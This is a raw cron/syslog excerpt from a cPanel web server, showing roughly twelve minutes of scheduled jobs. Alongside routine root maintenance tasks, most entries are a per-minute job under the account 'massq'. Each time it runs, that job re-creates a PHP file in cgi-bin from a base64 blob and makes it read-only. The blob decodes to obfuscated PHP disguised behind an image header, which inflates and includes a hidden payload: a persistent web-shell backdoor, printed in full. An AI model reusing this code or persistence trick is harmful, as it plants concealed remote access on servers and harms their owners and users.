Nov 14 05:01:01 server CROND[11196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:01:01 server run-parts(/etc/cron.hourly)[11195]: starting 0anacron
Nov 14 05:01:01 server run-parts(/etc/cron.hourly)[11208]: finished 0anacron
Nov 14 05:02:01 server CROND[12171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:03:01 server CROND[13018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:04:01 server CROND[13804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:05:01 server CROND[14370]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 05:05:01 server CROND[14372]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 05:05:01 server CROND[14373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:05:01 server CROND[14375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:05:01 server CROND[14374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:06:01 server CROND[15177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:07:01 server CROND[16144]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:08:01 server CROND[16995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:09:01 server CROND[17863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:09:01 server CROND[17864]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:10:01 server CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 05:10:01 server CROND[18734]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 05:10:01 server CROND[18733]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 05:10:01 server CROND[18735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:11:01 server CROND[19656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:12:01 server CROND[20608]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 05:12:01 server CROND[20610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 05:13:01 server CROND[21459]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
